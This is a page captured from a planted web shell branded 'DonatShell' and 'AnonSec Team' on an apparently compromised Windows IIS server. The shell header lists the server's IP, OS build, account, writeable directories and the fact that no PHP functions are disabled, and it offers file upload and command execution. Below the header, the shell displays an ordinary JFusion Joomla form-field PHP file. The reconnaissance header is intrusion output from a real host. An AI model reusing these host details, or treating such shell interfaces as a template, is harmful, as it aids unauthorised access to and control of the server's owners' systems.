DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/webroot/news/administrator/components/com_jfusion/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/webroot/news/administrator/components/com_jfusion/fields/jfusionpair.php
<?php

/**
 * This is the jfusion Userpostgroups element file
 *
 * PHP version 5
 *
 * @category  JFusion
 * @package   Elements
 * @author    JFusion Team <webmaster@jfusion.org>
 * @copyright 2008 JFusion. All rights reserved.
 * @license   http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link      http://www.jfusion.org
 */
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die();
/**
 * Require the Jfusion plugin factory
 */
require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'models' . DS . 'model.factory.php';
require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'models' . DS . 'model.jfusion.php';

/**
 * JFusion Element class Discussionbot
 *
 * @category  JFusion
 * @package   Elements
 * @author    JFusion Team <webmaster@jfusion.org>
 * @copyright 2008 JFusion. All rights reserved.
 * @license   http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link      http://www.jfusion.org
 */
class JFormFieldJFusionPair extends JFormField
{
	public $type = 'JFusionPair';
	/**
	 * Get an element
	 *
	 * @return string html
	 */
	protected function getInput()
	{
		static $js;

		$delete = JText::_('DELETE_PAIR');

		if (!$js) {
			$document = JFactory::getDocument();

			$output = <<<JS
		function addPair(t,s)	{
            var tr = document.createElement("tr");


            var index = 0;
            var list;
            while (true) {
                list = document.getElementById("params"+t+"value"+index);
                if (!list) break;
                index++;
            }
            tr.setAttribute("id", "params"+t+index);

            var input = document.createElement("input");
            var td = document.createElement("td");
            input.setAttribute("type", "text");
            input.setAttribute("id", "params"+t+"name"+index);
            input.setAttribute("name", "params["+t+"][name]["+index+"]");
            input.setAttribute("size", s);
            td.appendChild(input);
            tr.appendChild(td);

            input = document.createElement("input");
            td = document.createElement("td");
			input.setAttribute("type", "text");
            input.setAttribute("id", "params"+t+"value"+index);
            input.setAttribute("name", "params["+t+"][value]["+index+"]");
            input.setAttribute("size", s);
            td.appendChild(input);
            tr.appendChild(td);

			var a = document.createElement("a");
			td = document.createElement("td");
            a.setAttribute("href", "javascript:removePair(\'"+t+"\',\'"+t+index+"\');");
            a.appendChild(document.createTextNode("{$delete}"));
            td.appendChild(a);
            tr.appendChild(td);

            $("params"+t).appendChild(tr);

            $("params"+t+"_save").src = 'components/com_jfusion/images/filesave.png';
        }

        function removePair(t,i) {
            $("params"+t).removeChild($("params"+i));
            $("params"+t+"_save").src = 'components/com_jfusion/images/filesave.png';
        }

        function closePair() {
			$(this.options.target).inject($(this.options.return));
        }
JS;
			$document->addScriptDeclaration($output);
			$js = true;
		}

		$name = $this->fieldname;
		$temp = $value = $this->value;

		$temp = @unserialize($temp);

		if (!is_array($temp)) {
			$values = explode( ',', $value);
			if ($values) {
				$temp = array();
				foreach($values as $pair) {
					$result = explode( ':', $pair);
					if (count($result)==2) {
						$temp['name'][] = $result[0];
						$temp['value'][] = $result[1];
					}
				}
			}
		}

		JHTML::_('behavior.modal', 'a.modal');
		$value = $temp;

		$att = $this->element->attributes();

		$col1 = isset($att['col1']) ? JText::_($att['col1']) : JText::_('NAME');
		$col2 = isset($att['col2']) ? JText::_($att['col2']) : JText::_('VALUE');

		$values = '';
		if (!is_array($value) || !count($value)) {
			$values .= '<tr id="params'.$name.'0">';
			$values .= '<td>';
			$values .= '<input type="text" name="params['.$name.'][name][0]" id="params'.$name.'name0" size="50"/>';
			$values .= '</td><td>';
			$values .= '<input type="text" name="params['.$name.'][value][0]" id="params'.$name.'value0" size="50"/>';
			$values .= '</td><td>';
			$values .= '<a href="javascript:removePair(\''.$name.'\', \''.$name.'0\');">'.$delete.'</a>';
			$values .= '</td>';
			$values .= '</tr>';
		} else {
			$i = 0;
			foreach ($value['value'] as $key => $val) {
				$v = htmlentities($val);
				$n = htmlentities($value['name'][$key]);
				$values .= '<tr id="params'.$name.$i.'">';
				$values .= '<td>';
				$values .= '<input value="'.$n.'" type="text" name="params['.$name.'][name]['.$i.']" id="params'.$name.'name'.$i.'" size="50"/>';
				$values .= '</td><td>';
				$values .= '<input value="'.$v.'" type="text" name="params['.$name.'][value]['.$i.']" id="params'.$name.'value'.$i.'" size="50"/>';
				$values .= '</td><td>';
				$values .= '<a href="javascript:removePair(\''.$name.'\', \''.$name.$i.'\');">'.$delete.'</a>';
				$values .= '</td>';
				$values .= '</tr>';
				$i++;
			}
		}

		$add = JText::_('ADD_PAIR');

		$output = <<<HTML
			<div style="display:none;" id="jform_params_{$name}">
				<div id="target_jform_params_{$name}">
					<table>
						<thead>
							<tr>
								<th>
									{$col1}
								</th>
								<th>
									{$col2}
								</th>
								<th>
								</th>
							</tr>
						</thead>
						<tbody id="params{$name}">
							{$values}
						</tbody>
					</table>
					<div>
						<a href="javascript:addPair('{$name}',50);">{$add}</a>
					</div>
	    		</div>
			</div>
HTML;
		$output .= '<div class="button2-left"><div class="blank"><a class="modal" title="' . JText::_('CONFIGURE') . '"  href="" rel="{target: \'target_jform_params_'.$name.'\', handler: \'adopt\', return: \'jform_params_'.$name.'\', onClose : closePair, size: {x: 650, y: 375}}">' . JText::_('CONFIGURE') . '</a></div></div>';
		if($value) {
			$src = 'components/com_jfusion/images/tick.png';
		} else {
			$src = 'components/com_jfusion/images/clear.png';
		}
		$output .= '<img id="params'.$name.'_save" src="'.$src.'" alt="Save">';
		return $output;
	}
}

Anon7 - 2022
AnonSec Team